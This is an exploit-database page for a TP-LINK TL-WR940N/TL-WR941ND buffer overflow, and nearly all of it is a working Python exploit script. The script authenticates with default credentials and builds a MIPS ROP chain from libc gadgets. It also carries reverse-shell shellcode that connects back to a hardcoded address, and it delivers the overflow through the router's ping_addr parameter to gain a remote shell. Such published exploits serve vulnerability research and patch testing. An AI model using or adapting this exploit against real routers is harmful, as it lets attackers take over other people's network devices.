TP-LINK TL-WR940N / TL-WR941ND Buffer Overflow

2019.04.10
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

#Author Grzegorz Wypych - h0rac # TP-LINK TL-WR940N/TL-WR941ND buffer overflow remote shell exploit import requests import md5 import base64 import string import struct import socket password = md5.new('admin').hexdigest() cookie = base64.b64encode('admin:'+password) print '[+] Authorization cookie: ', cookie print '[+] Login to generate user directory...' #proxy = {'http':'127.0.0.1:8080'} loginUrl = 'http://192.168.0.1/userRpm/LoginRpm.htm?Save=Save' headers = {'cookie':'Authorization=Basic%20'+cookie.replace('=', '%3D')} req = requests.get(loginUrl, headers=headers) directory = '' nop = "\x27\xE0\xFF\xFF" shellcode = string.join([ "\x24\x0f\xff\xfa", # li t7,-6 "\x01\xe0\x78\x27", # nor t7,t7,zero "\x21\xe4\xff\xfd", # addi a0,t7,-3 "\x21\xe5\xff\xfd", # addi a1,t7,-3 "\x28\x06\xff\xff", # slti a2,zero,-1 "\x24\x02\x10\x57", # li v0,4183 "\x01\x01\x01\x0c", # syscall 0x40404 "\xaf\xa2\xff\xff", # sw v0,-1(sp) "\x8f\xa4\xff\xff", # lw a0,-1(sp) "\x34\x0f\xff\xfd", # li t7,0xfffd "\x01\xe0\x78\x27", # nor t7,t7,zero "\xaf\xaf\xff\xe0", # sw t7,-32(sp) "\x3c\x0e\x1f\x90", # lui t6,0x1f90 "\x35\xce\x1f\x90", # ori t6,t6,0x1f90 "\xaf\xae\xff\xe4", # sw t6,-28(sp) # Big endian IP address 172.28.128.4 "\x3c\x0e\xc0\xA8" # lui t6,0x7f01 #"\xac\x1c\x80\x04", # lui t6,0x7f01 "\x35\xce\x01\x64", # ori t6,t6,0x101 "\xaf\xae\xff\xe6", # sw t6,-26(sp) "\x27\xa5\xff\xe2", # addiu a1,sp,-30 "\x24\x0c\xff\xef", # li t4,-17 "\x01\x80\x30\x27", # nor a2,t4,zero "\x24\x02\x10\x4a", # li v0,4170 "\x01\x01\x01\x0c", # syscall 0x40404 "\x24\x0f\xff\xfd", # li t7,-3 "\x01\xe0\x78\x27", # nor t7,t7,zero "\x8f\xa4\xff\xff", # lw a0,-1(sp) "\x01\xe0\x28\x21", # move a1,t7 "\x24\x02\x0f\xdf", # li v0,4063 "\x01\x01\x01\x0c", # syscall 0x40404 "\x24\x10\xff\xff", # li s0,-1 "\x21\xef\xff\xff", # addi t7,t7,-1 "\x15\xf0\xff\xfa", # bne t7,s0,68 <dup2_loop> "\x28\x06\xff\xff", # slti a2,zero,-1 "\x3c\x0f\x2f\x2f", # lui t7,0x2f2f "\x35\xef\x62\x69", # ori t7,t7,0x6269 "\xaf\xaf\xff\xec", # sw t7,-20(sp) "\x3c\x0e\x6e\x2f", # lui t6,0x6e2f "\x35\xce\x73\x68", # ori t6,t6,0x7368 "\xaf\xae\xff\xf0", # sw t6,-16(sp) "\xaf\xa0\xff\xf4", # sw zero,-12(sp) "\x27\xa4\xff\xec", # addiu a0,sp,-20 "\xaf\xa4\xff\xf8", # sw a0,-8(sp) "\xaf\xa0\xff\xfc", # sw zero,-4(sp) "\x27\xa5\xff\xf8", # addiu a1,sp,-8 "\x24\x02\x0f\xab", # li v0,4011 "\x01\x01\x01\x0c" # syscall 0x40404 ], '') libcBase= 0x77f53000 sleep = libcBase + 0x53CA0 gadget1 = libcBase + 0x00055c60 # addiu $a0, $zero, 1; move $t9, $s1; jalr $t9; gadget2 = libcBase + 0x00024ecc #lw $ra, 0x2c($sp); lw $s1, 0x28($sp); lw $s0, 0x24($sp); jr $ra; gadget3 = libcBase + 0x0001e20c # move $t9, $s1; lw $ra, 0x24($sp); lw $s2, 0x20($sp); lw $s1, 0x1c($sp); lw $s0, 0x18($sp); jr $t9 gadget4 = libcBase + 0x000195f4 #addiu $s0, $sp, 0x24; move $a0, $s0; move $t9, $s1; jalr $t9; gadget5 = libcBase + 0x000154d8 # #move $t9, $s0; jalr $t9; print "[+] First gadget address: ", hex(gadget1) print "[+] Second gadget address: ", hex(gadget2) print "[+] Third gadget address: ", hex(gadget3) print "[+] Fourth gadget address: ", hex(gadget4) print "[+] Fifth gadget address: ", hex(gadget4) print "[+] Sleep function address: ", hex(sleep) payload = "A"*160 s0 = "BBBB" s1 = gadget2 payload += s0 payload += struct.pack('>I', s1) payload += struct.pack('>I', gadget1) #Overwrite RA address #New stack for gadget 2 starts payload += "E" * 20 # adjust stack payload += "FFFF" #gadget3 -> lw $s0, 0x18($sp) => 24 bytes payload += "GGGG" #gadget3 -> lw $s1, 0x1c($sp) => 28 bytes payload += "HHHH" #gadget3 -> lw $s2, 0x20($sp) => 32 bytes payload += "AAAA" payload += "CCCC" payload += struct.pack('>I', sleep) #gadget2 -> lw $s1, 0x28($sp) => 40 bytes payload += struct.pack('>I', gadget3) #gadget2 -> lw $ra, 0x2c($sp) => 44 bytes #New stack for gadget 3 starts payload += "G" *24 payload += "A"* 4 #lw $s0, 0x18($sp); sp + 24 bytes = s0 payload += struct.pack('>I', gadget5)#lw $s1, 0x1c($sp); sp + 28 bytes = s1 <= load gadget 5 addr payload += "C" *4 #lw $s2, 0x20($sp); sp + 32 bytes = s2 payload += struct.pack('>I', gadget4) #lw $ra, 0x24($sp); sp + 36 bytes = ra <= load gadget 4 addr #New stack for gadget 4 starts payload += nop * 32 payload += shellcode #addiu $s0, $sp, 0x24; sp + 36 bytes = s0 if(req.status_code): directory = req.text.split('=')[2].split('/')[3] print '[+] Retrieved folder name: ', directory req.close() referer ='http://192.168.0.1/{0}/userRpm/DiagnosticRpm.htm'.format(directory) host = '192.168.0.1' port = 80 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print "[*] Connected, sending payload {0} bytes...".format(len(payload)) pingUrl = '{1}/userRpm/PingIframeRpm.htm'.format(host,directory) pingUrl += '?ping_addr='+payload+'&doType=ping&isNew=new&sendNum=4&psize=64&overTime=800&trHops=20' auth = 'Authorization=Basic%20'+cookie.replace('=', '%3D') pingReq = "GET /{0} HTTP/1.1\r\nHost: {1}\r\nReferer: {2}\r\ncookie: {3}\r\n\r\n".format(pingUrl, host, referer, auth) print "[+] Exploit request: {0}".format(pingReq) s.send(pingReq) s.recv(4096) s.close() else: req.close()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top